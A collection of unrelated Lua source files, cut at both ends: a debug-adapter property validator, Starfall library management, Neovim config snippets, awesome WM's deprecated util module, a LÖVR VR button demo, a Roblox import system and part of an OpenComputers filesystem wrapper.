:add_mitigations("Use only the following characters: ASCII letter, digit, underscore, comma, space")
:raise()
end
end
end
--- Validate the adapter properties.
-- @raise validation error
function AdapterProperties:validate()
self:_validate_debug_address()
self:_validate_log_level()
self:_validate_excluded_capabilities()
end
--- Get the log level
-- @return log level
function AdapterProperties:get_log_level()
return self:get(LOG_LEVEL_PROPERTY)
end
--- Check if the log level is set
-- @return <code>true</code> if the log level is set
function AdapterProperties:has_log_level()
return self:has_value(LOG_LEVEL_PROPERTY)
end
--- Get the list of names of the excluded capabilities.
-- @return excluded capabilities
function AdapterProperties:get_excluded_capabilities()
return text.split(self:get(EXCLUDED_CAPABILITIES_PROPERTY))
end
--- Check if excluded capabilities are set
-- @return <code>true</code> if the excluded capabilities are set
function AdapterProperties:has_excluded_capabilities()
return self:has_value(EXCLUDED_CAPABILITIES_PROPERTY)
end
--- Get the debug address (host and port)
-- @return host, port or nil if the property has no value
function AdapterProperties:get_debug_address()
if self:has_value(DEBUG_ADDRESS_PROPERTY) then
local debug_address = self:get(DEBUG_ADDRESS_PROPERTY)
local colon_position = string.find(debug_address,":", 1, true)
if colon_position == nil then
return debug_address, DEFAULT_LOG_PORT
else
local host = string.sub(debug_address, 1, colon_position - 1)
local port = tonumber(string.sub(debug_address, colon_position + 1))
return host, port
end
else
return nil, nil
end
end
--- Check if log address set
-- @return <code>true</code> if the log address is set
function AdapterProperties:has_debug_address()
return self:has_value(DEBUG_ADDRESS_PROPERTY)
end
return AdapterProperties
|
---------------------------------------------------------------------
-- SF Global Library management
---------------------------------------------------------------------
SF.Libraries = {}
SF.Libraries.libraries = {}
SF.Libraries.hooks = {}
--- Place to store local libraries
-- @name SF.Libraries.Local
-- @class table
SF.Libraries.Local = {}
--- Creates and registers a global library. The library will be accessible from any Starfall Instance, regardless of context.
-- This will automatically set __index and __metatable.
-- @param name The library name
function SF.Libraries.Register ( name )
local methods, metamethods = SF.Typedef( "Library: " .. name )
SF.Libraries.libraries[ name ] = metamethods
SF.DefaultEnvironment[ name ] = setmetatable( {}, metamethods )
return methods, metamethods
end
--- Creates and registers a local library. The library must be added to the context's
-- local libraries field.
function SF.Libraries.RegisterLocal ( name )
local methods, metamethods = SF.Typedef( "Library: " .. name )
SF.Libraries.Local[ name ] = metamethods
return methods, metamethods
end
--- Gets a global library by name
-- @param name The name of the library
-- @return A metatable proxy of the library
function SF.Libraries.Get ( name )
return SF.Libraries.libraries[ name ] and setmetatable( {}, SF.Libraries.libraries[ name ] )
end
--- Gets a local library by name
-- @param name The name of the library
-- @return The library (not a metatable proxy!)
function SF.Libraries.GetLocal ( name )
return SF.Libraries.Local[ name ]
end
--- Creates a table for use in SF.CreateContext containing all of the
-- local libraries in arr.
-- @param arr Array of local libraries to load
function SF.Libraries.CreateLocalTbl ( arr )
local tbl = {}
for i = 1, #arr do
local lib = arr[ i ]
tbl[ lib ] = SF.Libraries.Local[ lib ] or SF.throw( string.format( "Requested nonexistant library '%s'", lib ), 2 )
end
return tbl
end
--- Registers a library hook. These hooks are only available to SF libraries,
-- and are called by Libraries.CallHook.
-- @param hookname The name of the hook.
-- @param func The function to call
function SF.Libraries.AddHook ( hookname, func )
local hook = SF.Libraries.hooks[ hookname ]
if not hook then
hook = {}
SF.Libraries.hooks[ hookname ] = hook
end
hook[ #hook + 1 ] = func
end
--- Calls a library hook.
-- @param hookname The name of the hook.
-- @param ... The arguments to the functions that are called.
function SF.Libraries.CallHook ( hookname, ... )
local hook = SF.Libraries.hooks[ hookname ]
if not hook then return end
for i = 1, #hook do
hook[ i ]( ... )
end
end
|
local M = {}
M.setup = function()
local g = vim.g
-- Disable Things
g.loaded_netrw = 1
g.loaded_netrwPlugin = 1
-- Misc
g.omni_sql_no_default_maps = 1
g.vimsyn_embed = 1
-- No Recommended Styles
g.python_recommended_style = 0
g.rust_recommended_style = 0
end
return M
|
local is_present_autopairs, autopairs = pcall(require, "nvim-autopairs")
if not is_present_autopairs then
return
end
autopairs.setup({})
|
---------------------------------------------------------------------------
--- Utility module for awful
--
-- @author Julien Danjou <julien@danjou.info>
-- @copyright 2008 Julien Danjou
-- @module awful.util
---------------------------------------------------------------------------
-- Grab environment we need
local os = os
local assert = assert
local load = loadstring or load -- luacheck: globals loadstring (compatibility with Lua 5.1)
local loadfile = loadfile
local pairs = pairs
local type = type
local gtable = require("gears.table")
local string = string
local gstring = require("gears.string")
local grect = require("gears.geometry").rectangle
local gcolor = require("gears.color")
local gfs = require("gears.filesystem")
local capi =
{
awesome = awesome,
mouse = mouse
}
local gdebug = require("gears.debug")
local gmath = require("gears.math")
local util = {}
util.table = {}
--- The default shell used when spawing processes.
util.shell = os.getenv("SHELL") or "/bin/sh"
--- Execute a system command and road the output.
-- This function implementation **has been removed** and no longer
-- do anything. Use `awful.spawn.easy_async`.
-- @deprecated awful.util.pread
--- Display a deprecation notice, but only once per traceback.
-- @deprecated deprecate
-- @param[opt] see The message to a new method / function to use.
-- @tparam table args Extra arguments
-- @tparam boolean args.raw Print the message as-is without the automatic
-- context (but only append a leading dot).
-- @tparam integer args.deprecated_in Print the message only when Awesome's
-- version is equal to or greater than deprecated_in.
-- @see gears.debug
function util.deprecate(see, args)
gdebug.deprecate("gears.debug.deprecate", {deprecated_in=5})
return gdebug.deprecate(see, args)
end
--- Create a class proxy with deprecation messages.
-- This is useful when a class has moved somewhere else.
-- @deprecated deprecate_class
-- @tparam table fallback The new class
-- @tparam string old_name The old class name
-- @tparam string new_name The new class name
-- @treturn table A proxy class.
-- @see gears.debug
function util.deprecate_class(fallback, old_name, new_name)
gdebug.deprecate("gears.debug.deprecate_class", {deprecated_in=5})
return gdebug.deprecate_class(fallback, old_name, new_name)
end
--- Get a valid color for Pango markup
-- @deprecated ensure_pango_color
-- @param color The color.
-- @tparam string fallback The color to return if the first is invalid. (default: black)
-- @treturn string color if it is valid, else fallback.
-- @see gears.color
function util.ensure_pango_color(color, fallback)
gdebug.deprecate("gears.color.ensure_pango_color", {deprecated_in=5})
return gcolor.ensure_pango_color(color, fallback)
end
--- Make i cycle.
-- @deprecated util.cycle
-- @param t A length. Must be greater than zero.
-- @param i An absolute index to fit into #t.
-- @return An integer in (1, t) or nil if t is less than or equal to zero.
-- @see gears.math
function util.cycle(t, i)
gdebug.deprecate("gears.math.cycle", {deprecated_in=5})
return gmath.cycle(t, i)
end
--- Create a directory
-- @deprecated mkdir
-- @param dir The directory.
-- @return mkdir return code
-- @see gears.filesystem
function util.mkdir(dir)
gdebug.deprecate("gears.filesystem.make_directories", {deprecated_in=5})
return gfs.make_directories(dir)
end
--- Eval Lua code.
-- @return The return value of Lua code.
function util.eval(s)
return assert(load(s))()
end
--- Escape a string from XML char.
-- Useful to set raw text in textbox.
-- @deprecated util.escape
-- @param text Text to escape.
-- @return Escape text.
-- @see gears.string
function util.escape(text)
gdebug.deprecate("gears.string.xml_escape", {deprecated_in=5})
return gstring.xml_escape(text)
end
--- Unescape a string from entities.
-- @deprecated util.unescape
-- @param text Text to unescape.
-- @return Unescaped text.
-- @see gears.string
function util.unescape(text)
gdebug.deprecate("gears.string.xml_unescape", {deprecated_in=5})
return gstring.xml_unescape(text)
end
--- Check if a file is a Lua valid file.
-- This is done by loading the content and compiling it with loadfile().
-- @param path The file path.
-- @return A function if everything is alright, a string with the error
-- otherwise.
function util.checkfile(path)
local f, e = loadfile(path)
-- Return function if function, otherwise return error.
if f then return f end
return e
end
--- Try to restart awesome.
-- It checks if the configuration file is valid, and then restart if it's ok.
-- If it's not ok, the error will be returned.
-- @return Never return if awesome restart, or return a string error.
function util.restart()
local c = util.checkfile(capi.awesome.conffile)
if type(c) ~= "function" then
return c
end
capi.awesome.restart()
end
--- Get the config home according to the XDG basedir specification.
-- @deprecated get_xdg_config_home
-- @return the config home (XDG_CONFIG_HOME) with a slash at the end.
-- @see gears.filesystem
function util.get_xdg_config_home()
gdebug.deprecate("gears.filesystem.get_xdg_config_home", {deprecated_in=5})
return gfs.get_xdg_config_home()
end
--- Get the cache home according to the XDG basedir specification.
-- @deprecated get_xdg_cache_home
-- @return the cache home (XDG_CACHE_HOME) with a slash at the end.
-- @see gears.filesystem
function util.get_xdg_cache_home()
gdebug.deprecate("gears.filesystem.get_xdg_cache_home", {deprecated_in=5})
return gfs.get_xdg_cache_home()
end
--- Get the path to the user's config dir.
-- This is the directory containing the configuration file ("rc.lua").
-- @deprecated get_configuration_dir
-- @return A string with the requested path with a slash at the end.
-- @see gears.filesystem
function util.get_configuration_dir()
gdebug.deprecate("gears.filesystem.get_configuration_dir", {deprecated_in=5})
return gfs.get_configuration_dir()
end
--- Get the path to a directory that should be used for caching data.
-- @deprecated get_cache_dir
-- @return A string with the requested path with a slash at the end.
-- @see gears.filesystem
function util.get_cache_dir()
gdebug.deprecate("gears.filesystem.get_cache_dir", {deprecated_in=5})
return gfs.get_cache_dir()
end
--- Get the path to the directory where themes are installed.
-- @deprecated get_themes_dir
-- @return A string with the requested path with a slash at the end.
-- @see gears.filesystem
function util.get_themes_dir()
gdebug.deprecate("gears.filesystem.get_themes_dir", {deprecated_in=5})
return gfs.get_themes_dir()
end
--- Get the path to the directory where our icons are installed.
-- @deprecated get_awesome_icon_dir
-- @return A string with the requested path with a slash at the end.
-- @see gears.filesystem
function util.get_awesome_icon_dir()
gdebug.deprecate("gears.filesystem.get_awesome_icon_dir", {deprecated_in=5})
return gfs.get_awesome_icon_dir()
end
--- Get the user's config or cache dir.
-- It first checks XDG_CONFIG_HOME / XDG_CACHE_HOME, but then goes with the
-- default paths.
-- @deprecated getdir
-- @param d The directory to get (either "config" or "cache").
-- @return A string containing the requested path.
-- @see gears.filesystem
function util.getdir(d)
gdebug.deprecate("gears.filesystem.get_dir", {deprecated_in=5})
return gfs.get_dir(d)
end
--- Search for an icon and return the full path.
-- It searches for the icon path under the given directories with respect to the
-- given extensions for the icon filename.
-- @param iconname The name of the icon to search for.
-- @param exts Table of image extensions allowed, otherwise { 'png', gif' }
-- @param dirs Table of dirs to search, otherwise { '/usr/share/pixmaps/' }
-- @tparam[opt] string size The size. If this is specified, subdirectories `x`
-- of the dirs are searched first.
function util.geticonpath(iconname, exts, dirs, size)
exts = exts or { 'png', 'gif' }
dirs = dirs or { '/usr/share/pixmaps/', '/usr/share/icons/hicolor/' }
local icontypes = { 'apps', 'actions', 'categories', 'emblems',
'mimetypes', 'status', 'devices', 'extras', 'places', 'stock' }
for _, d in pairs(dirs) do
local icon
for _, e in pairs(exts) do
icon = d .. iconname .. '.' .. e
if gfs.file_readable(icon) then
return icon
end
if size then
for _, t in pairs(icontypes) do
icon = string.format("%s%ux%u/%s/%s.%s", d, size, size, t, iconname, e)
if gfs.file_readable(icon) then
return icon
end
end
end
end
end
end
--- Check if a file exists, is readable and not a directory.
-- @deprecated file_readable
-- @param filename The file path.
-- @return True if file exists and is readable.
-- @see gears.filesystem
function util.file_readable(filename)
gdebug.deprecate("gears.filesystem.file_readable", {deprecated_in=5})
return gfs.file_readable(filename)
end
--- Check if a path exists, is readable and is a directory.
-- @deprecated dir_readable
-- @tparam string path The directory path.
-- @treturn boolean True if dir exists and is readable.
-- @see gears.filesystem
function util.dir_readable(path)
gdebug.deprecate("gears.filesystem.dir_readable", {deprecated_in=5})
return gfs.dir_readable(path)
end
--- Check if a path is a directory.
-- @deprecated is_dir
-- @tparam string path
-- @treturn bool True if path exists and is a directory.
-- @see gears.filesystem
function util.is_dir(path)
gdebug.deprecate("gears.filesystem.is_dir", {deprecated_in=5})
return gfs.is_dir(path)
end
--- Return all subsets of a specific set.
-- This function, giving a set, will return all subset it.
-- For example, if we consider a set with value { 10, 15, 34 },
-- it will return a table containing 2^n set:
-- { }, { 10 }, { 15 }, { 34 }, { 10, 15 }, { 10, 34 }, etc.
-- @deprecated util.subsets
-- @param set A set.
-- @return A table with all subset.
-- @see gears.math
function util.subsets(set)
gdebug.deprecate("gears.math.subsets", {deprecated_in=5})
return gmath.subsets(set)
end
--- Get the nearest rectangle in the given direction. Every rectangle is specified as a table
-- with 'x', 'y', 'width', 'height' keys, the same as client or screen geometries.
-- @deprecated awful.util.get_rectangle_in_direction
-- @param dir The direction, can be either "up", "down", "left" or "right".
-- @param recttbl A table of rectangle specifications.
-- @param cur The current rectangle.
-- @return The index for the rectangle in recttbl closer to cur in the given direction. nil if none found.
-- @see gears.geometry
function util.get_rectangle_in_direction(dir, recttbl, cur)
gdebug.deprecate("gears.geometry.rectangle.get_in_direction", {deprecated_in=4})
return grect.get_in_direction(dir, recttbl, cur)
end
--- Join all tables given as parameters.
-- This will iterate all tables and insert all their keys into a new table.
-- @deprecated util.table.join
-- @param args A list of tables to join
-- @return A new table containing all keys from the arguments.
-- @see gears.table
function util.table.join(...)
gdebug.deprecate("gears.table.join", {deprecated_in=5})
return gtable.join(...)
end
--- Override elements in the first table by the one in the second.
--
-- Note that this method doesn't copy entries found in `__index`.
-- @deprecated util.table.crush
-- @tparam table t the table to be overriden
-- @tparam table set the table used to override members of `t`
-- @tparam[opt=false] boolean raw Use rawset (avoid the metatable)
-- @treturn table t (for convenience)
-- @see gears.table
function util.table.crush(t, set, raw)
gdebug.deprecate("gears.table.crush", {deprecated_in=5})
return gtable.crush(t, set, raw)
end
--- Pack all elements with an integer key into a new table
-- While both lua and luajit implement __len over sparse
-- table, the standard define it as an implementation
-- detail.
--
-- This function remove any non numeric keys from the value set
--
-- @deprecated util.table.from_sparse
-- @tparam table t A potentially sparse table
-- @treturn table A packed table with all numeric keys
-- @see gears.table
function util.table.from_sparse(t)
gdebug.deprecate("gears.table.from_sparse", {deprecated_in=5})
return gtable.from_sparse(t)
end
--- Check if a table has an item and return its key.
-- @deprecated util.table.hasitem
-- @param t The table.
-- @param item The item to look for in values of the table.
-- @return The key were the item is found, or nil if not found.
-- @see gears.table
function util.table.hasitem(t, item)
gdebug.deprecate("gears.table.hasitem", {deprecated_in=5})
return gtable.hasitem(t, item)
end
--- Split a string into multiple lines
-- @deprecated util.linewrap
-- @param text String to wrap.
-- @param width Maximum length of each line. Default: 72.
-- @param indent Number of spaces added before each wrapped line. Default: 0.
-- @return The string with lines wrapped to width.
-- @see gears.string
function util.linewrap(text, width, indent)
gdebug.deprecate("gears.string.linewrap", {deprecated_in=5})
return gstring.linewrap(text, width, indent)
end
--- Count number of lines in a string
-- @deprecated util.linecount
-- @tparam string text Input string.
-- @treturn int Number of lines.
-- @see gears.string
function util.linecount(text)
gdebug.deprecate("gears.string.linecount", {deprecated_in=5})
return gstring.linecount(text)
end
--- Get a sorted table with all integer keys from a table
-- @deprecated util.table.keys
-- @param t the table for which the keys to get
-- @return A table with keys
-- @see gears.table
function util.table.keys(t)
gdebug.deprecate("gears.table.keys", {deprecated_in=5})
return gtable.keys(t)
end
--- Filter a tables keys for certain content types
-- @deprecated util.table.keys_filter
-- @param t The table to retrieve the keys for
-- @param ... the types to look for
-- @return A filtered table with keys
-- @see gears.table
function util.table.keys_filter(t, ...)
gdebug.deprecate("gears.table.keys_filter", {deprecated_in=5})
return gtable.keys_filter(t, ...)
end
--- Reverse a table
-- @deprecated util.table.reverse
-- @param t the table to reverse
-- @return the reversed table
-- @see gears.table
function util.table.reverse(t)
gdebug.deprecate("gears.table.reverse", {deprecated_in=5})
return gtable.reverse(t)
end
--- Clone a table
-- @deprecated util.table.clone
-- @param t the table to clone
-- @param deep Create a deep clone? (default: true)
-- @return a clone of t
-- @see gears.table
function util.table.clone(t, deep)
gdebug.deprecate("gears.table.clone", {deprecated_in=5})
return gtable.clone(t, deep)
end
---
-- Returns an iterator to cycle through, starting from the first element or the
-- given index, all elements of a table that match a given criteria.
--
-- @deprecated util.table.iterate
-- @param t the table to iterate
-- @param filter a function that returns true to indicate a positive match
-- @param start what index to start iterating from. Default is 1 (=> start of
-- the table)
-- @see gears.table
function util.table.iterate(t, filter, start)
gdebug.deprecate("gears.table.iterate", {deprecated_in=5})
return gtable.iterate(t, filter, start)
end
--- Merge items from the one table to another one
-- @deprecated util.table.merge
-- @tparam table t the container table
-- @tparam table set the mixin table
-- @treturn table Return `t` for convenience
-- @see gears.table
function util.table.merge(t, set)
gdebug.deprecate("gears.table.merge", {deprecated_in=5})
return gtable.merge(t, set)
end
-- Escape all special pattern-matching characters so that lua interprets them
-- literally instead of as a character class.
-- Source: http://stackoverflow.com/a/20778724/15690
-- @deprecated util.quote_pattern
-- @see gears.string
function util.quote_pattern(s)
gdebug.deprecate("gears.string.quote_pattern", {deprecated_in=5})
return gstring.quote_pattern(s)
end
-- Generate a pattern matching expression that ignores case.
-- @param s Original pattern matching expression.
-- @deprecated util.query_to_pattern
-- @see gears.string
function util.query_to_pattern(q)
gdebug.deprecate("gears.string.query_to_pattern", {deprecated_in=5})
return gstring.query_to_pattern(q)
end
--- Round a number to an integer.
-- @deprecated util.round
-- @tparam number x
-- @treturn integer
-- @see gears.math
function util.round(x)
gdebug.deprecate("gears.math.round", {deprecated_in=5})
return gmath.round(x)
end
return util
-- vim: filetype=lua:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80
|
local function raycast(rayPos, rayDir, planePos, planeDir)
local dot = rayDir:dot(planeDir)
if math.abs(dot) < .001 then
return nil
else
local distance = (planePos - rayPos):dot(planeDir) / dot
if distance > 0 then
return rayPos + rayDir * distance
else
return nil
end
end
end
local button = {
text = 'Please click me',
textSize = .1,
count = 0,
position = lovr.math.newVec3(0, 1, -3),
width = 1.0,
height = .4,
hover = false,
active = false
}
local tips = {}
function lovr.update()
button.hover, button.active = false, false
for i, hand in ipairs(lovr.headset.getHands()) do
tips[hand] = tips[hand] or lovr.math.newVec3()
-- Ray info:
local rayPosition = vec3(lovr.headset.getPosition(hand))
local rayDirection = vec3(quat(lovr.headset.getOrientation(hand)):direction())
-- Call the raycast helper function to get the intersection point of the ray and the button plane
local hit = raycast(rayPosition, rayDirection, button.position, vec3(0, 0, 1))
local inside = false
if hit then
local bx, by, bw, bh = button.position.x, button.position.y, button.width / 2, button.height / 2
inside = (hit.x > bx - bw) and (hit.x < bx + bw) and (hit.y > by - bh) and (hit.y < by + bh)
end
-- If the ray intersects the plane, do a bounds test to make sure the x/y position of the hit
-- is inside the button, then mark the button as hover/active based on the trigger state.
if inside then
if lovr.headset.isDown(hand, 'trigger') then
button.active = true
else
button.hover = true
end
if lovr.headset.wasReleased(hand, 'trigger') then
button.count = button.count + 1
print('BOOP')
end
end
-- Set the end position of the pointer. If the raycast produced a hit position then use that,
-- otherwise extend the pointer's ray outwards by 50 meters and use it as the tip.
tips[hand]:set(inside and hit or (rayPosition + rayDirection * 50))
end
end
function lovr.draw()
-- Button background
if button.active then
lovr.graphics.setColor(.4, .4, .4)
elseif button.hover then
lovr.graphics.setColor(.2, .2, .2)
else
lovr.graphics.setColor(.1, .1, .1)
end
lovr.graphics.plane('fill', button.position, button.width, button.height)
-- Button text (add a small amount to the z to put the text slightly in front of button)
lovr.graphics.setColor(1, 1, 1)
lovr.graphics.print(button.text, button.position + vec3(0, 0, .001), button.textSize)
lovr.graphics.print('Count: ' .. button.count, button.position + vec3(0, .5, 0), .1)
-- Pointers
for hand, tip in pairs(tips) do
local position = vec3(lovr.headset.getPosition(hand))
lovr.graphics.setColor(1, 1, 1)
lovr.graphics.sphere(position, .01)
if button.active then
lovr.graphics.setColor(0, 1, 0)
else
lovr.graphics.setColor(1, 0, 0)
end
lovr.graphics.line(position, tip)
lovr.graphics.setColor(1, 1, 1)
end
end
|
local split = string.split or function(self, delimiter)
if type(self) ~= "string" then
error("Expected string got " .. typeof(self))
end
local result = {}
local from = 1
local delim_from, delim_to = string.find(self, delimiter, from)
while delim_from do
table.insert(result, string.sub(self, from, delim_from - 1))
from = delim_to + 1
delim_from, delim_to = string.find(self, delimiter, from)
end
table.insert(result, string.sub(self, from))
return result
end
local RunService = game:GetService("RunService")
local IS_SERVER = RunService:IsServer()
local ServerScriptService = game:GetService("ServerScriptService")
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Path = require(script.Parent.Path)
local modules = {}
local vars = {
["local"] = IS_SERVER and ServerStorage or ReplicatedStorage,
core = (IS_SERVER or __LEMUR__) and ServerScriptService:FindFirstChild("WorldEngine"),
corelib = ReplicatedStorage:FindFirstChild("WorldEngine")
}
local function strtrim(s)
return (s:gsub("^%s*(.-)%s*$", "%1"))
end
local function path(array, opts)
if type(array) == "string" then
array = Path.parse(array)
end
local isClient = not RunService:IsServer()
opts.homePath =
opts.homePath or (isClient and game:GetService("ReplicatedStorage") or game:GetService("ServerScriptService"))
opts.variables = vars
opts.modules = modules
return Path.get(array, opts)
end
local MultiImport = {}
MultiImport.__index = MultiImport
function MultiImport:from(relativePath)
local imports = {}
local parent =
path(
split(relativePath, "/"),
{
relativeTo = self.relativeTo
}
)
for _, item in next, self.imports do
local target = path(split(item, "/"), {relativeTo = parent})
if target:IsA("ModuleScript") then
table.insert(imports, require(target))
else
error(("[import] Invalid import: %s (%s)"):format(item, target.ClassName), 3)
end
end
return unpack(imports)
end
local currentlyLoading = {}
local function import_internal(value, relativeTo, overrides)
local result = nil
if type(value) == "table" then -- Handle multi-import
return setmetatable(
{
imports = value,
relativeTo = relativeTo,
overrides = overrides
},
MultiImport
)
end
if typeof(value) == "Instance" then
-- luacheck: ignore
result = require(value)
elseif type(value) == "string" then
local isRelativeImport = value:match("^[%.]+/")
relativeTo = relativeTo or (isRelativeImport and getfenv(4).script or vars.corelib)
if not relativeTo then
-- luacov: disable
error("Invalid relativeTo in import")
-- luacov: enable
end
overrides = overrides or {}
result =
result or
path(
value,
{
homePath = overrides.homePath,
relativeTo = relativeTo,
findRelative = not isRelativeImport
}
)
local caller = getfenv(4).script or "commandBar"
if typeof(result) == "Instance" then
if result:IsA("ModuleScript") then
if overrides.rawImport then
return result
else
currentlyLoading[caller] = result
local currentModule = result
local depth = 0
while currentModule do
depth = depth + 1
currentModule = currentlyLoading[currentModule]
if currentModule == result then
local str = currentModule.Name or "?"
for _ = 1, depth do
currentModule = currentlyLoading[currentModule]
str = str .. " -> " .. currentModule.Name
end
error("Failed to import! Detected a circular dependency chain: " .. str, 2)
end
end
result = require(result)
if currentlyLoading[caller] == module then
currentlyLoading[caller] = nil
end
return result
end
else
error(("[import] Invalid import: %s (%s, IsA %s)"):format(value, result:GetFullName(), result.ClassName), 2)
end
else
return result
end
end
end
local function import(value, relativeTo, overrides)
if typeof(value) == "Instance" then
return require(value)
end
if (type(value) == "string" and value:match("^([A-z0-9%.%-/@]+)$")) or type(value) == "table" then
return import_internal(value, relativeTo, overrides)
else
local importList = {}
local parts = Path.parseList(value)
for _, part in next, parts do
table.insert(importList, import_internal(part, relativeTo, overrides))
end
return unpack(importList)
end
end
local function load_imports(module)
assert(typeof(module) == "Instance" and module:IsA("ModuleScript"), "Imports declaration should be a ModuleScript!")
local extraVars = require(module)
assert(typeof(extraVars) == "table")
for name, value in next, extraVars do
assert(typeof(value) == "Instance", name .. " is not an instance")
vars[name] = value
end
end
-- luacov: disable
-- variable discovery
if (IS_SERVER) then
local extraServerVarsModule = ServerScriptService:FindFirstChild(".imports", true)
if (extraServerVarsModule and extraServerVarsModule:IsA("ModuleScript")) then
load_imports(extraServerVarsModule)
end
else
local extraVarsModule = ReplicatedStorage:FindFirstChild(".imports", true)
if (extraVarsModule and extraVarsModule:IsA("ModuleScript")) then
load_imports(extraVarsModule)
end
end
local function getModules(dir, mods)
for _, modulePath in pairs(mods) do
local module = path(split(strtrim(modulePath), "/"), {relativeTo = dir})
modules[module.Name] = module
end
end
local function findModuleDeclarations(dir)
for _, child in pairs(dir:GetChildren()) do
if (child:IsA("StringValue") and child.Name == "modules") then
getModules(child.Parent, split(child.Value, "\n"))
else
findModuleDeclarations(child)
end
end
end
findModuleDeclarations(ReplicatedStorage)
local prototype = {}
if (__LEMUR__) then
function prototype.lemur(isServer)
if not __LEMUR__ then
error("`import.Test` can only be used by Lemur.", 2)
end
return function(p, r)
if isServer then
local value = import(p, r, {rawImport = true, homePath = ServerScriptService})
print("[Import(Server)] Test import: ", ("%s (%s)"):format(p, value and value:GetFullName() or "?"))
return value, value and value:GetFullName() or "?"
else
local value = import(p, r, {rawImport = true})
print(
"[Import(Client)] Test import: ",
("%s (%s)"):format(tostring(p), typeof(value) == "Instance" and value:GetFullName() or tostring(value))
)
return value, typeof(value) == "Instance" and value:GetFullName() or tostring(value)
end
end
end
end
function prototype.shared(relativePath)
return import(relativePath, ReplicatedStorage)
end
function prototype.library(relativePath)
return import(relativePath, ReplicatedStorage:WaitForChild("WorldEngine"))
end
function prototype.server(relativePath)
return import(relativePath, ServerScriptService)
end
function prototype.relative(relativePath)
return import(relativePath, getfenv(2).script)
end
function prototype.lazy(relativePath)
local ref
return setmetatable(
{},
{
__index = function(self, index)
if not ref then
ref = import_internal(relativePath)
end
return ref[index]
end
}
)
end
function prototype.json(relativePath)
local text = import(relativePath)
return game:GetService("HttpService"):JSONDecode(text)
end
function prototype.async(relativePath, relativeTo, overrides)
local Promise = require(script.Parent.Promise)
return Promise.new(
function(resolve, reject)
Promise.spawn(
function()
local success, result = pcall(import, relativePath, relativeTo, overrides)
if success then
resolve(result)
else
reject(result)
end
end
)
end
)
end
local function importNSVariable(self, name)
local value = vars[name]
if value then
return function(_, relativePath)
return import(relativePath, value)
end
else
error(tostring(name) .. " is not a valid member of import.prototype", 2)
end
end
return setmetatable(
prototype,
{
__call = function(_, ...)
return import(...)
end, -- alias: import.relative
__index = importNSVariable,
__tostring = function()
return "ImportSystem"
end
}
)
-- luacov: enable
|
local fs = require("filesystem")
--------------------------------------------------------------------------------
local filesystem = {
SORTING_NAME = 1,
SORTING_TYPE = 2,
SORTING_DATE = 3,
}
local BUFFER_SIZE = 1024
local BOOT_PROXY
local mountedProxies = {}
--------------------------------------- String-related path processing -----------------------------------------
function filesystem.path(path)
return path:match("^(.+%/).") or ""
end
function filesystem.name(path)
return path:match("%/?([^%/]+%/?)$")
end
function filesystem.extension(path, lower)
return path:match("[^%/]+(%.[^%/]+)%/?$")
end
function filesystem.hideExtension(path)
return path:match("(.+)%..+") or path
end
function filesystem.isHidden(path)
if path:sub(1, 1) == "." then
return true
end
return false
end
function filesystem.removeSlashes(path)
return path:gsub("/+", "/")
end
--------------------------------------- Mounted filesystem support -----------------------------------------
filesystem.get = fs.get
--------------------------------------- I/O methods -----------------------------------------
local function readString(self, count)
-- If current buffer content is a "part" of "count of data" we need to read
if count > #self.buffer then
local data, chunk = self.buffer
while #data < count do
chunk = self.proxy.read(self.stream, BUFFER_SIZE)
if chunk then
data = data .. chunk
else
self.position = self:seek("end", 0)
-- EOF at start
if data == "" then
return nil
-- EOF after read
else
return data
end
end
end
self.buffer = data:sub(count + 1, -1)
chunk = data:sub(1, count)
self.position = self.position + #chunk
return chunk
else
local data = self.buffer:sub(1, count)
self.buffer = self.buffer:sub(count + 1, -1)
self.position = self.position + count
return data
end
end
local function readLine(self)
local data = ""
while true do
if #self.buffer > 0 then
local starting, ending = self.buffer:find("\n")
if starting then
local chunk = self.buffer:sub(1, starting - 1)
self.buffer = self.buffer:sub(ending + 1, -1)
self.position = self.position + #chunk
return data .. chunk
else
data = data .. self.buffer
end
end
local chunk = self.proxy.read(self.stream, BUFFER_SIZE)
if chunk then
self.buffer = chunk
self.position = self.position + #chunk
-- EOF
else
local data = self.buffer
self.position = self:seek("end", 0)
return #data > 0 and data or nil
end
end
end
local function lines(self)
return function()
local line = readLine(self)
if line then
return line
else
self:close()
end
end
end
local function readAll(self)
local data, chunk = ""
while true do
chunk = self.proxy.read(self.stream, 4096)
if chunk then
data = data .. chunk
-- EOF
else
self.position = self:seek("end", 0)
return data
end
end
end
local function readBytes(self, count, littleEndian)
if count == 1 then
local data = readString(self, 1)
if data then
return string.byte(data)
end
return nil
else
local bytes, result = { string.byte(readString(self, count) or "\x00", 1, 8) }, 0
if littleEndian then
for i = #bytes, 1, -1 do
result = bit32.bor(bit32.lshift(result, 8), bytes[i])
end
else
for i = 1, #bytes do
result = bit32.bor(bit32.lshift(result, 8), bytes[i])
end
end
return result
end
end
local function readUnicodeChar(self)
local byteArray = { string.byte(readString(self, 1)) }
local nullBitPosition = 0
for i = 1, 7 do
if bit32.band(bit32.rshift(byteArray[1], 8 - i), 0x1) == 0x0 then
nullBitPosition = i
break
end
end
for i = 1, nullBitPosition - 2 do
table.insert(byteArray, string.byte(readString(self, 1)))
end
return string.char(table.unpack(byteArray))
end
local function read(self, format, ...)
local formatType = type(format)
if formatType == "number" then
return readString(self, format)
elseif formatType == "string" then
format = format:gsub("^%*", "")
if format == "a" then
return readAll(self)
elseif format == "l" then
return readLine(self)
elseif format == "b" then
return readBytes(self, 1)
elseif format == "bs" then
return readBytes(self, ...)
elseif format == "u" then
return readUnicodeChar(self)
else
error("bad argument #2 ('a' (whole file), 'l' (line), 'u' (unicode char), 'b' (byte as number) or 'bs' (sequence of n bytes as number) expected, got " .. format .. ")")
end
else
error("bad argument #1 (number or string expected, got " .. formatType .. ")")
end
end
local function seek(self, pizda, cyka)
if pizda == "set" then
local result, reason = self.proxy.seek(self.stream, "set", cyka)
if result then
self.position = result
self.buffer = ""
end
return result, reason
elseif pizda == "cur" then
local result, reason = self.proxy.seek(self.stream, "set", self.position + cyka)
if result then
self.position = result
self.buffer = ""
end
return result, reason
elseif pizda == "end" then
local result, reason = self.proxy.seek(self.stream, "end", cyka)
if result then
self.position = result
self.buffer = ""
end
return result, reason
else
error("bad argument #2 ('set', 'cur' or 'end' expected, got " .. tostring(whence) .. ")")
end
end
local function write(self, ...)
local data = { ... }
for i = 1, #data do
data[i] = tostring(data[i])
end
data = table.concat(data)
-- Data is small enough to fit buffer
